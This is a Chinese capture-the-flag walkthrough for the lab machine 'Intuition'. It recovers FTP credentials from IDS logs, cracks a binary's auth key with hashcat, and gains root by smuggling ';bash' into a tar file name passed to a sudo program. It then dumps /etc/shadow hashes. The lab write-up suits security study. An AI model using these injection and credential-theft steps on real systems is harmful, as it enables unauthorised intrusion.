-rw-r--r--  1 root root       1033 Oct  8  2023 fast.log.6.gz                                                                                                                               -rw-r--r--  1 root root       1485 Sep 28  2023 fast.log.7.gz
-rw-r--r--  1 root root    8417814 May  3 06:45 stats.log
-rw-r--r--  1 root root          0 Apr 29 18:27 stats.log.1
-rw-r--r--  1 root root    4293890 Oct 26  2023 stats.log.1-2024040114.backup
-rw-r--r--  1 root root          0 Apr  8 14:19 stats.log.1-2024042213.backup
-rw-r--r--  1 root root          0 Apr 22 13:26 stats.log.1-2024042918.backup
-rw-r--r--  1 root root      73561 Oct 28  2023 stats.log.4.gz
-rw-r--r--  1 root root     376680 Oct 14  2023 stats.log.6.gz
-rw-r--r--  1 root root      67778 Sep 29  2023 stats.log.7.gz
-rw-r--r--  1 root root      26500 May  3 06:21 suricata.log
-rw-r--r--  1 root root      26145 Apr 29 18:27 suricata.log.1
-rw-r--r--  1 root root       3893 Oct 26  2023 suricata.log.1-2024040114.backup
-rw-r--r--  1 root root      68355 Apr  8 14:19 suricata.log.1-2024042213.backup
-rw-r--r--  1 root root      95100 Apr 22 13:26 suricata.log.1-2024042918.backup                                                                                                            -rw-r--r--  1 root root        990 Apr  1 14:50 suricata.log.4.gz
-rw-r--r--  1 root root       1412 Oct 19  2023 suricata.log.6.gz
-rw-r--r--  1 root root       5076 Oct  8  2023 suricata.log.7.gz

这个目录下有很多.gz 文件,全部解压太麻烦,直接使用zgrep可以对gz文件进行搜索,不需要解压

dev_acc@intuition:/var/log/suricata$ zgrep -i "lopez" * --no-filename |jq '.'
{
  "timestamp": "2024-05-03T06:58:03.365759+0000",
  "flow_id": 1965813157905271,
  "in_iface": "eth0",
  "event_type": "http",
  "src_ip": "10.10.14.35",
  "src_port": 46580,
  "dest_ip": "10.10.11.15",
  "dest_port": 80,
  "proto": "TCP",
  "tx_id": 35,
  "community_id": "1:4ohTg61tIJYIXsMl+cNNy9C8fvs=",
  "http": {
    "hostname": "paolosergionavarrolopez.comprezzor.htb",
    "url": "/",
    "http_user_agent": "Fuzz Faster U Fool v2.1.0-dev",
    "http_content_type": "text/html",
    "http_method": "GET",
    "protocol": "HTTP/1.1",
    "status": 301,
    "redirect": "http://comprezzor.htb/",
    "length": 178
  }
}
{
  "timestamp": "2024-05-03T06:58:03.367352+0000",
  "flow_id": 1965813157905271,
  "in_iface": "eth0",
  "event_type": "fileinfo",
  "src_ip": "10.10.11.15",
  "src_port": 80,
  "dest_ip": "10.10.14.35",
  "dest_port": 46580,
  "proto": "TCP",
  "http": {
    "hostname": "paolosergionavarrolopez.comprezzor.htb",
    "url": "/",
    "http_user_agent": "Fuzz Faster U Fool v2.1.0-dev",
    "http_content_type": "text/html",
    "http_method": "GET",
    "protocol": "HTTP/1.1",
    "status": 301,
    "redirect": "http://comprezzor.htb/",
    "length": 178
  },
  "app_proto": "http",
  "fileinfo": {
    "filename": "/",
    "sid": [],
    "gaps": false,
    "state": "CLOSED",
    "stored": false,
    "size": 178,
    "tx_id": 35
  }
}
{
  "timestamp": "2024-05-03T06:58:32.985935+0000",
  "flow_id": 14484960212575,
  "in_iface": "eth0",
  "event_type": "http",
  "src_ip": "10.10.14.35",
  "src_port": 56246,
  "dest_ip": "10.10.11.15",
  "dest_port": 80,
  "proto": "TCP",
  "tx_id": 69,
  "community_id": "1:BpC7c/pPMXbPzWCM+a+vgTSNLcc=",
  "http": {
    "hostname": "comprezzor.htb",
    "url": "/lopez",
    "http_user_agent": "feroxbuster/2.7.1",
    "http_content_type": "text/html",
    "http_method": "GET",
    "protocol": "HTTP/1.1",
    "status": 404,
    "length": 207
  }
}
{
  "timestamp": "2024-05-03T06:58:32.985943+0000",
  "flow_id": 14484960212575,
  "in_iface": "eth0",
  "event_type": "fileinfo",
  "src_ip": "10.10.11.15",
  "src_port": 80,
  "dest_ip": "10.10.14.35",
  "dest_port": 56246,
  "proto": "TCP",
  "http": {
    "hostname": "comprezzor.htb",
    "url": "/lopez",
    "http_user_agent": "feroxbuster/2.7.1",
    "http_content_type": "text/html",
    "http_method": "GET",
    "protocol": "HTTP/1.1",
    "status": 404,
    "length": 207
  },
  "app_proto": "http",
  "fileinfo": {
    "filename": "/lopez",
    "sid": [],
    "gaps": false,
    "state": "CLOSED",
    "stored": false,
    "size": 207,
    "tx_id": 69
  }
}
{
  "timestamp": "2023-09-28T17:43:36.099184+0000",
  "flow_id": 1988487100549589,
  "in_iface": "ens33",
  "event_type": "ftp",
  "src_ip": "192.168.227.229",
  "src_port": 37522,
  "dest_ip": "192.168.227.13",
  "dest_port": 21,
  "proto": "TCP",
  "tx_id": 1,
  "community_id": "1:SLaZvboBWDjwD/SXu/SOOcdHzV8=",
  "ftp": {
    "command": "USER",
    "command_data": "lopez",
    "completion_code": [
      "331"
    ],
    "reply": [
      "Username ok, send password."
    ],
    "reply_received": "yes"
  }
}
{
  "timestamp": "2023-09-28T17:43:52.999165+0000",
  "flow_id": 1988487100549589,
  "in_iface": "ens33",
  "event_type": "ftp",
  "src_ip": "192.168.227.229",
  "src_port": 37522,
  "dest_ip": "192.168.227.13",
  "dest_port": 21,
  "proto": "TCP",
  "tx_id": 2,
  "community_id": "1:SLaZvboBWDjwD/SXu/SOOcdHzV8=",
  "ftp": {
    "command": "PASS",
    "command_data": "Lopezzz1992%123",
    "completion_code": [
      "530"
    ],
    "reply": [
      "Authentication failed."
    ],
    "reply_received": "yes"
  }
}
{
  "timestamp": "2023-09-28T17:44:32.133372+0000",
  "flow_id": 1218304978677234,
  "in_iface": "ens33",
  "event_type": "ftp",
  "src_ip": "192.168.227.229",
  "src_port": 45760,
  "dest_ip": "192.168.227.13",
  "dest_port": 21,
  "proto": "TCP",
  "tx_id": 1,
  "community_id": "1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=",
  "ftp": {
    "command": "USER",
    "command_data": "lopez",
    "completion_code": [
      "331"
    ],
    "reply": [
      "Username ok, send password."
    ],
    "reply_received": "yes"
  }
}
{
  "timestamp": "2023-09-28T17:44:48.188361+0000",
  "flow_id": 1218304978677234,
  "in_iface": "ens33",
  "event_type": "ftp",
  "src_ip": "192.168.227.229",
  "src_port": 45760,
  "dest_ip": "192.168.227.13",
  "dest_port": 21,
  "proto": "TCP",
  "tx_id": 2,
  "community_id": "1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=",
  "ftp": {
    "command": "PASS",
    "command_data": "Lopezz1992%123",
    "completion_code": [
      "230"
    ],
    "reply": [
      "Login successful."
    ],
    "reply_received": "yes"
  }
}
dev_acc@intuition:/var/log/suricata$

在lopze 有关的流量中,ftp登录时,

使用凭证lopez:Lopezzz1992%123登录失败(3个z)

使用凭证lopez:Lopezz1992%123登录成功(2个z)

dev_acc@intuition:/var/log/suricata$ su lopez
Password:Lopezz1992%123
lopez@intuition:/var/log/suricata$ id
uid=1003(lopez) gid=1003(lopez) groups=1003(lopez),1004(sys-adm)

lopez@intuition:/opt/runner2$ sudo -l
[sudo] password for lopez:
Matching Defaults entries for lopez on intuition:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User lopez may run the following commands on intuition:
    (ALL : ALL) /opt/runner2/runner2

切换账号成功,我们可以以root的权限执行runner2

sys-adm

lopez@intuition:/opt/playbooks$ find / -group sys-adm 2>/dev/null
/opt/runner2
/opt/playbooks

img

显示缺少key

我们之前ftp里面找到了runner的备份文件我们再看看

Runner1-backup

run-test.sh

#!/bin/bash

# List playbooks
./runner1 list

# Run playbooks [Need authentication]
# ./runner run [playbook number] -a [auth code]
#./runner1 run 1 -a "UHI75GHI****"

# Install roles [Need authentication]
# ./runner install [role url] -a [auth code]
#./runner1 install http://role.host.tld/role.tar -a "UHI75GHI****"

没有给完全UHI75GHI****,还差4位,可以尝试爆破

runner1.c

// Version : 1

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <openssl/md5.h>

#define INVENTORY_FILE "/opt/playbooks/inventory.ini"
#define PLAYBOOK_LOCATION "/opt/playbooks/"
#define ANSIBLE_PLAYBOOK_BIN "/usr/bin/ansible-playbook"
#define ANSIBLE_GALAXY_BIN "/usr/bin/ansible-galaxy"
#define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed"

int check_auth(const char* auth_key) {
    unsigned char digest[MD5_DIGEST_LENGTH];
    MD5((const unsigned char*)auth_key, strlen(auth_key), digest);

    char md5_str[33];
    for (int i = 0; i < 16; i++) {
        sprintf(&md5_str[i*2], "%02x", (unsigned int)digest[i]);
    }

    if (strcmp(md5_str, AUTH_KEY_HASH) == 0) {
        return 1;
    } else {
        return 0;
    }
}

void listPlaybooks() {
    DIR *dir = opendir(PLAYBOOK_LOCATION);
    if (dir == NULL) {
        perror("Failed to open the playbook directory");
        return;
    }

    struct dirent *entry;
    int playbookNumber = 1;

    while ((entry = readdir(dir)) != NULL) {
        if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {
            printf("%d: %s\n", playbookNumber, entry->d_name);
            playbookNumber++;
        }
    }

    closedir(dir);
}

void runPlaybook(const char *playbookName) {
    char run_command[1024];
    snprintf(run_command, sizeof(run_command), "%s -i %s %s%s", ANSIBLE_PLAYBOOK_BIN, INVENTORY_FILE, PLAYBOOK_LOCATION, playbookName);
    system(run_command);
}

void installRole(const char *roleURL) {
    char install_command[1024];
    snprintf(install_command, sizeof(install_command), "%s install %s", ANSIBLE_GALAXY_BIN, roleURL);
    system(install_command);
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Usage: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
        return 1;
    }

    int auth_required = 0;
    char auth_key[128];

    for (int i = 2; i < argc; i++) {
        if (strcmp(argv[i], "-a") == 0) {
            if (i + 1 < argc) {
                strncpy(auth_key, argv[i + 1], sizeof(auth_key));
                auth_required = 1;
                break;
            } else {
                printf("Error: -a option requires an auth key.\n");
                return 1;
            }
        }
    }

    if (!check_auth(auth_key)) {
        printf("Error: Authentication failed.\n");
        return 1;
    }

    if (strcmp(argv[1], "list") == 0) {
        listPlaybooks();
    } else if (strcmp(argv[1], "run") == 0) {
        int playbookNumber = atoi(argv[2]);
        if (playbookNumber > 0) {
            DIR *dir = opendir(PLAYBOOK_LOCATION);
            if (dir == NULL) {
                perror("Failed to open the playbook directory");
                return 1;
            }

            struct dirent *entry;
            int currentPlaybookNumber = 1;
            char *playbookName = NULL;

            while ((entry = readdir(dir)) != NULL) {
                if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {
                    if (currentPlaybookNumber == playbookNumber) {
                        playbookName = entry->d_name;
                        break;
                    }
                    currentPlaybookNumber++;
                }
            }

            closedir(dir);

            if (playbookName != NULL) {
                runPlaybook(playbookName);
            } else {
                printf("Invalid playbook number.\n");
            }
        } else {
            printf("Invalid playbook number.\n");
        }
    } else if (strcmp(argv[1], "install") == 0) {
        installRole(argv[2]);
    } else {
        printf("Usage2: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
        return 1;
    }

    return 0;
}

可以看到对比的逻辑就是把传入的auth_key 进行md5运算和0feda17076d793c2ef2870d7427ad4ed比较判断是否一致

hashcat-m 3

➜  crack cat target_md5_hash
0feda17076d793c2ef2870d7427ad4ed
➜  crack hashcat -m 0 -a 3 target_md5_hash "UHI75GHI?a?a?a?a" -i --increment-min 12 --show
0feda17076d793c2ef2870d7427ad4ed:UHI75GHINKOP

Reverse

main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rbp@0
  __int64 fd; // rax@3
  __int64 v6; // rax@5
  __int64 v7; // rax@7
  __int64 v8; // rax@9
  __int64 v9; // rax@11
  __int64 v10; // rdi@11
  __int64 v11; // rax@14
  __int64 v12; // rax@14
  __int64 v13; // rax@16
  __int64 v14; // rax@20
  __int64 v15; // rax@24
  __int64 v16; // rax@28
  __int64 v17; // rax@34
  __int64 auth_code_key; // rax@34
  __int64 auth_code_value; // rax@36
  __int64 *role_file_tar_valiue; // rax@40
  signed int v21; // [sp-80h] [bp-80h]@22
  int v22; // [sp-7Ch] [bp-7Ch]@20
  signed __int64 v23; // [sp-78h] [bp-78h]@22
  __int64 v24; // [sp-68h] [bp-68h]@3
  __int64 jsonFd; // [sp-60h] [bp-60h]@5
  __int64 runObject; // [sp-58h] [bp-58h]@7
  __int64 action; // [sp-48h] [bp-48h]@11
  __int64 role_file_tar_key; // [sp-40h] [bp-40h]@34
  __int64 v29; // [sp-28h] [bp-28h]@14
  __int64 v30; // [sp-18h] [bp-18h]@20
  __int64 v31; // [sp-10h] [bp-10h]@28
  __int64 v32; // [sp-8h] [bp-8h]@1

  __asm { rep nop edx }
  v32 = v3;
  if ( argc != 2 )
  {
    sub_1220("Usage: %s <json_file>\n", *argv, envp);
    return 1;
  }
  LODWORD(fd) = fopen_0(argv[1], "r");
  v24 = fd;
  if ( !fd )
  {
    sub_1250("Failed to open the JSON file");
    return 1;
  }
  LODWORD(v6) = json_loadf_0(fd, 2LL, 0LL);
  jsonFd = v6;
  fclose_1(v24);
  if ( !jsonFd )
  {
    fwrite_0("Error parsing JSON data.\n", 1LL, 25LL, stderr);
    return 1;
  }
  LODWORD(v7) = json_object_get_ptr_0(jsonFd, "run");
  runObject = v7;
  if ( !v7 || *(_DWORD *)v7 )
  {
    fwrite_0("Run key missing or invalid.\n", 1LL, 28LL, stderr);
  }
  else
  {
    LODWORD(v8) = json_object_get_ptr_0(v7, "action");
    if ( v8 && *(_DWORD *)v8 == 2 )
    {
      LODWORD(v9) = json_string_value_0(v8);
      action = v9;
      v10 = v9;
      if ( !strcmp_0(v9, "list") )
      {
        listPlaybooks(v10, "list");
      }
      else if ( !strcmp_0(action, "run") )
      {
        LODWORD(v11) = json_object_get_ptr_0(runObject, "num");
        v29 = v11;
        LODWORD(v12) = json_object_get_ptr_0(jsonFd, "auth_code");
        if ( !v12 || *(_DWORD *)v12 != 2 || (LODWORD(v13) = json_string_value_0(v12), !check_auth((__int64)&v32, v13)) )
        {
          fwrite_0("Authentication key missing or invalid for 'run' action.\n", 1LL, 56LL, stderr);
          json_decref(jsonFd);
          return 1;
        }
        if ( v29 && *(_DWORD *)v29 == 3 )
        {
          v22 = json_integer_value_0(v29);
          LODWORD(v14) = opendir_0("/opt/playbooks/");
          v30 = v14;
          if ( !v14 )
          {
            sub_1250("Failed to open the playbook directory");
            return 1;
          }
          v21 = 1;
          v23 = 0LL;
          while ( 1 )
          {
            LODWORD(v16) = sub_1320(v30);
            v31 = v16;
            if ( !v16 )
              break;
            if ( *(_BYTE *)(v16 + 18) == 8 )
            {
              LODWORD(v15) = sub_1290(v16 + 19, ".yml");
              if ( v15 )
              {
                if ( v21 == v22 )
                {
                  v23 = v31 + 19;
                  break;
                }
                ++v21;
              }
            }
          }
          closedir_0(v30);
          if ( v23 )
            runPlaybook((__int64)&v32);
          else
            fwrite_0("Invalid playbook number.\n", 1LL, 25LL, stderr);
        }
        else
        {
          fwrite_0("Invalid 'num' value for 'run' action.\n", 1LL, 38LL, stderr);
        }
      }
      else if ( !strcmp_0(action, "install") )
      {
        LODWORD(v17) = json_object_get_ptr_0(runObject, "role_file");
        role_file_tar_key = v17;
        LODWORD(auth_code_key) = json_object_get_ptr_0(jsonFd, "auth_code");
        if ( !auth_code_key
          || *(_DWORD *)auth_code_key != 2
          || (LODWORD(auth_code_value) = json_string_value_0(auth_code_key), !check_auth((__int64)&v32, auth_code_value)) )// check auth code ,the key is UHI75GHINKOP
        {
          fwrite_0("Authentication key missing or invalid for 'install' action.\n", 1LL, 60LL, stderr);
          json_decref(jsonFd);
          return 1;
        }
        if ( role_file_tar_key && *(_DWORD *)role_file_tar_key == 2 )
        {
          LODWORD(role_file_tar_valiue) = json_string_value_0(role_file_tar_key);
          installRole((__int64)&v32, role_file_tar_valiue);
        }
        else
        {
          fwrite_0("Role File missing or invalid for 'install' action.\n", 1LL, 51LL, stderr);
        }
      }
      else
      {
        fwrite_0("Invalid 'action' value.\n", 1LL, 24LL, stderr);
      }
    }
    else
    {
      fwrite_0("Action key missing or invalid.\n", 1LL, 31LL, stderr);
    }
  }
  json_decref(jsonFd);
  return 0;
}

installRole()

int __usercall installRole@<eax>(__int64 a1@<rbp>, __int64 *tar_file_path@<rdi>)
{
  signed __int64 v2; // rsi@2
  __int64 *v3; // rdi@2
  __int64 v4; // rdx@2
  __int64 v5; // rax@4
  __int64 cmd; // [sp-418h] [bp-418h]@3
  __int64 v8; // [sp-10h] [bp-10h]@1
  __int64 v9; // [sp-8h] [bp-8h]@1

  __asm { rep nop edx }
  v9 = a1;
  v8 = *MK_FP(__FS__, 40LL);
  if ( isTarArchive((__int64)&v9, tar_file_path) )
  {
    v2 = 1024LL;
    snprintf_0(&cmd, 1024LL, "%s install %s", "/usr/bin/ansible-galaxy");
    v3 = &cmd;
    system_0(&cmd);
  }
  else
  {
    v2 = 1LL;
    v3 = (__int64 *)"Invalid tar archive.\n";
    fwrite_0("Invalid tar archive.\n", 1LL, 21LL, stderr);
  }
  v5 = v8 - *MK_FP(__FS__, 40LL);
  if ( v8 != *MK_FP(__FS__, 40LL) )
    LODWORD(v5) = _stack_chk_fail_0(v3, v2, v4);
  return v5;
}

简单分析一下 installRole这个函数需要传入一个tar文件的路径,并且会检测这个tar文件的内容

走到action = install这个判断下我们需要这样一个json数据

{
  "run": {
    "action": "install",
    "role_file": "tar_file.path"
  },
  "auth_code": "UHI75GHINKOP"
}

如果我们在role_file的位置使用; 闭合tar_file.path,然后后面加上我们想要执行的命令就可以命令注入

所以我们只需要传入下面这样的json文件

root@intuition:/home/lopez# cat data.json
{
  "run": {
          "action":"install",
    "role_file": "/home/lopez/data.tar;bash"
  },
  "auth_code": "UHI75GHINKOP"
}

并且把压缩包的名字也修改为data.tar;bash

然后就会在检查的tar文件合法的时候成功绕过

并且会把这个文件名最后拼接最终在system函数后面

img

lopez@intuition:~$ cat data.json
{
  "run": {
          "action":"install",
    "role_file": "/tmp/1.tar;bash"
  },
  "auth_code": "UHI75GHINKOP"
}
lopez@intuition:~$ vim data.json
lopez@intuition:~$ cat data.json
{
  "run": {
          "action":"install",
    "role_file": "/home/lopez/data.tar;bash"
  },
  "auth_code": "UHI75GHINKOP"
}
lopez@intuition:~$ tar -cvf data.tar data.json
data.json
lopez@intuition:~$ pwd
/home/lopez
lopez@intuition:~$ sudo /opt/runner2/runner2 data.json
Invalid tar archive.
lopez@intuition:~$ ls
content  data.json  data.tar
lopez@intuition:~$ mv data.tar data.tar;bash
mv: 'data.tar' and 'data.tar' are the same file
lopez@intuition:~$ ls ^C
lopez@intuition:~$
lopez@intuition:~$ ^C
lopez@intuition:~$ exit
exit
lopez@intuition:~$ mv data.tar 'data.tar;bash'
lopez@intuition:~$ ls -al
total 48
drwxr-x--- 5 lopez lopez  4096 May  3 08:20  .
drwxr-xr-x 5 root  root   4096 Apr 25 11:49  ..
lrwxrwxrwx 1 root  root      9 Apr  9 18:26  .bash_history -> /dev/null
-rw-r--r-- 1 lopez lopez  3771 Oct 13  2023  .bashrc
drwx------ 2 lopez lopez  4096 May  3 07:36  .cache
-rw-rw-r-- 1 lopez lopez    64 May  3 07:47  content
-rw-rw-r-- 1 lopez lopez   118 May  3 08:19  data.json
-rw-rw-r-- 1 lopez lopez 10240 May  3 08:19 'data.tar;bash'
drwxrwxr-x 3 lopez lopez  4096 May  3 07:46  .local
-rw-r--r-- 1 lopez lopez   807 Oct 13  2023  .profile
drwx------ 2 lopez lopez  4096 Apr 10 08:21  .ssh
lopez@intuition:~$ sudo /opt/runner2/runner2 data.json
Starting galaxy role install process
id

id

[WARNING]: - /home/lopez/data.tar was NOT installed successfully: Unknown error when attempting to call Galaxy at 'https://galaxy.ansible.com/api/': <urlopen error
[Errno -3] Temporary failure in name resolution>
ERROR! - you can use --ignore-errors to skip failed roles and finish processing the list.
root@intuition:/home/lopez# id
uid=0(root) gid=0(root) groups=0(root)
root@intuition:/home/lopez#
root@intuition:/home/lopez# id
uid=0(root) gid=0(root) groups=0(root)
root@intuition:/home/lopez#
root@intuition:/home/lopez#
root@intuition:/home/lopez# whoami
root
root@intuition:/home/lopez# cat /root/root.txt

Shadow

root@intuition:/home/lopez# cat /etc/shadow | grep \$y
root:$y$j9T$uiniFHjBFerbO..eAx7bI1$A6O8Lt6NG3BS33humdTtnyFe3uTcM3Gew1gldp0S2r4:19656:0:99999:7:::
adam:$y$j9T$RxWDBIbgNBK.1OPH6yR6q0$SkHyQ3QsKfTQ/igOVFsA5pCyosQdsfOkdN2uFL9rJA9:19656:0:99999:7:::
dev_acc:$y$j9T$/RpnqRuqjGaJzDquTAhiG.$CxkGOcqmc2sPEdiTNHySlgqiQwJxr5r6IKNOtuKXjD9:19838:0:99999:7:::
lopez:$y$j9T$iuv2R99Ps/.rTY6fkdya/1$gk87UA.ESt6ObAMJVEkH9oxsy3Qui570dUn4NloxqEC:19643:0:99999:7:::

In Summary

user

enum vhost (dashboard、auth、report) → xss 1 get webDav cookie → xss2 get admin cookie→ generate pdf → ssrf (file protocol ,using %20 bypass white list) → read file → dashboard.py → ftp credential → ssrf (ftp protocol) → welcome_note.txt、private-key → dev_acc

root

find user.db in web directory → adam ftp credential → backup for runner → find log file (suricata ) → find net flow about user’s information (adma 、lopez)→ ftp net flow (lopez login successful) →sudo -l runner2 → anaylysic runner2 (reverse and review the backup file ) → crack auth_key →command inject → root

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1654871.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

前端面试题大合集3----网络篇

目录 一、Http协议详解&#xff0c;http请求方式&#xff0c;http状态码 Http协议详解&#xff1a; http请求方式&#xff1a; http状态码&#xff1a; 常用的状态码&#xff1a; 其他常用状态码&#xff1a; 二、Http常见请求方式 三、Http协议与TCP协议的区别和联系 …

美业SaaS系统多门店收银系统源码-【卡升组合促销规则】讲解分享

美业管理系统源码 博弈美业SaaS系统 连锁多门店美业收银系统源码 多门店管理 / 会员管理 / 预约管理 / 排班管理 / 商品管理 / 促销活动 PC管理后台、手机APP、iPad APP、微信小程序 1、什么是卡升组合促销&#xff1f; 原价购买的卡项&#xff0c;卡状态正常的情况下&…

数值计算方法——大题题型总结

目录 一、绝对误差限、相对误差限 1.1 例题 1.2 解题套路 1.3 题解 二、敛散性、收敛速度 2.1 例题 2.2 解题套路 2.3 题解 三、牛顿迭代法 3.1 例题 3.2 解题套路 3.3 题解 四、割线法 4.1 例题 4.2 解题套路 ​4.3 题解 五、列主元素消去法 5.1 例题 5.…

增量同步笔记

2.2.2.增量同步 全量同步需要先做RDB&#xff0c;然后将RDB文件通过网络传输个slave&#xff0c;成本太高了。因此除了第一次做全量同步&#xff0c;其它大多数时候slave与master都是做增量同步。 什么是增量同步&#xff1f;就是只更新slave与master存在差异的部分数据。如图…

【快速入门Linux】10_Linux命令—Vi编辑器

文章目录 一、vi 简介1.1 vi1.2 vim1.3查询软连接命令&#xff08;知道&#xff09; 二、打开和新建文件&#xff08;重点&#xff09;2.1 打开文件并且定位行2.2 异常处理 三、vi三种工作模式&#xff08;重点&#xff09;3.1 末行模式-命令 四、常用命令4.0 命令线路图4.1 移…

ROS 2边学边练(44)-- 从头开始构建一个视觉机器人模型

前言 从此篇开始我们就开始接触URDF(Unified Robot Description Format&#xff0c;统一机器人描述格式)&#xff0c;并利用其语法格式搭建我们自己的机器人模型。 动动手 开始之前我们需要确认是否安装joint_state_publisher功能包&#xff0c;如果有安装过二进制版本的urdf_…

C++ stack、queue以及deque

1、stack和queue常用接口 严格来说栈和队列的实现是容器适配器 1、常用接口&#xff1a; 栈&#xff1a;top、push、pop、size、emptystack - C Reference (cplusplus.com) 队列&#xff1a;top、push、pop、swap、size、emptyqueue - C Reference (cplusplus.com) 2、deque&a…

Pycharm安装包numpy和matplotlib安装

环境 python 3.12 Pycharm 2023.1 安装包 创建图表的 numpy 库和 matplotlib 库 安装过程出现的问题 setuptools工具包没有安装 Python packaging tool setuptools not found文件 -> 设置 -> 项目:xxx -> python解释器界面显示不出已安装的软件包&#xff0c;系…

MQTT服务搭建及python使用示例

1、MQTT协议 1.1、MQTT介绍 MQTT&#xff08;Message Queuing Telemetry Transport&#xff09;是一种轻量级的、基于发布/订阅模式的通信协议&#xff0c;通常用于物联网设备之间的通讯。它具有低带宽、低功耗和开放性等特点&#xff0c;适合在网络带宽有限或者网络连接不稳定…

pyinstaller 不是内部或外部命令,也不是可运行的程序或批处理文件的解决办法(详细)

首先我们需要查看是否安装了pyinstaller &#xff0c;可以在命令窗口输入命令pip list检查是否安装成功&#xff0c; 这里我们可以看见已经安装成功了的&#xff0c;如果没有安装可以执行安装命令 pip install pyinstaller 进行安装即可。 下一步我们排查pyinstaller的安装路…

Python数据可视化------地图

基础地图使用 # 地图基本演示 # 导包 from pyecharts.charts import Map from pyecharts.options import TitleOpts, VisualMapOpts# 准备地图对象 cmap Map() # 准备数据&#xff08;列表&#xff09; data [("北京市", 99), ("上海市", 199), ("…

为什么你创业总是失败?2024普通人如何创业?2024创业赛道!2024创业新风口!2024创业方向!2024普通人的机会!

为什么你做项目老是不赚钱&#xff0c;是你不够努力吗&#xff1f;是你运气不好吗&#xff1f; 如果都不是&#xff01;那一定是你的思维逻辑出了问题&#xff01; 先想一想你以前做的项目&#xff0c;有没有哪个符合以下条件&#xff1a;对客户有价值、寻找客源成本在可接受…

BFS专题——FloodFill算法:200.岛屿数量

文章目录 题目描述算法原理代码实现CJava 题目描述 题目链接&#xff1a;200.岛屿数量 PS:注意题目中每座岛屿只能由水平方向和/或竖直方向上相邻的陆地连接形成。也就是说斜角是不算了&#xff0c; 例如示例二&#xff0c;是三个岛屿。 算法原理 这道题目是 DFS&#xff0…

商务分析方法与工具(二):Python的趣味快捷-序列结构解决电影推荐

Tips&#xff1a;"分享是快乐的源泉&#x1f4a7;&#xff0c;在我的博客里&#xff0c;不仅有知识的海洋&#x1f30a;&#xff0c;还有满满的正能量加持&#x1f4aa;&#xff0c;快来和我一起分享这份快乐吧&#x1f60a;&#xff01; 喜欢我的博客的话&#xff0c;记得…

【C语言】内存函数的概念,使用及模拟实现

Tiny Spark get dazzling some day. 目录 1. memcpy-- 函数原型-- 函数使用-- 函数的模拟实现 2.memmove-- 函数原型-- 函数使用-- 函数的模拟实现 3. memset-- 函数原型-- 函数使用-- 函数的模拟实现 4. memcmp-- 函数原型-- 函数使用-- 函数的模拟实现 1. memcpy 使用需包含…

3dmax-vray6渲染器参数设置

适用于3dmax2018-2023版本 一、【公用】 小图输出大小:1500*1125&#xff0c;勾选大气、效果&#xff1b; 大图输出大小:3000*2250&#xff0c;勾选大气、效果、置换&#xff1b; 二、【vray】 小图抗锯齿类型:渐进式&#xff1b;最小细分:1&#xff0c;最大细分:100&#…

C++新特性

1 智能指针 1.1 为什么需要智能指针 智能指针主要解决以下问题&#xff1a; 内存泄漏&#xff1a;内存手动释放&#xff0c;使用智能指针可以自动释放共享所有权指针的传播和释放&#xff0c;比如多线程使用同一个对象时析构问题&#xff0c;比如&#xff1a; C里面的四个智…

解决springboot项目的网站静态页面显示不全问题

在通过springboot搭建项目时&#xff0c;为了能够访问静态的前端页面&#xff0c;我们考虑到访问的优先级问题&#xff0c;通常选择将资源放在recourses/static的目录下&#xff0c;如下&#xff1a; 这时可能会出现类似于下面这种图片无法加载、没有按照指定位置显示的情况&am…

R语言:r画韦恩图

> setwd("") > library(openxlsx) > library(ggvenn) > data <- read.xlsx("韦恩图种2.xlsx") data$P <- ifelse(data$P 0, "F", "T") data$N <- ifelse(data$N 0, "F", "T")> data &l…

流星烛台如何交易?Anzo Capital昂首资本3步盈利收场

各位投资者通过之前的文章可以准确的辨认出什么是流星烛台了&#xff0c;但是各位投资者一旦遇到流星图案知道怎么交易吗?其实一点都不困难&#xff0c;只要掌握住流星图案的交易真棒&#xff0c;Anzo Capital昂首资本3步就可以盈利收场。 首先&#xff0c;投资者需要确定图…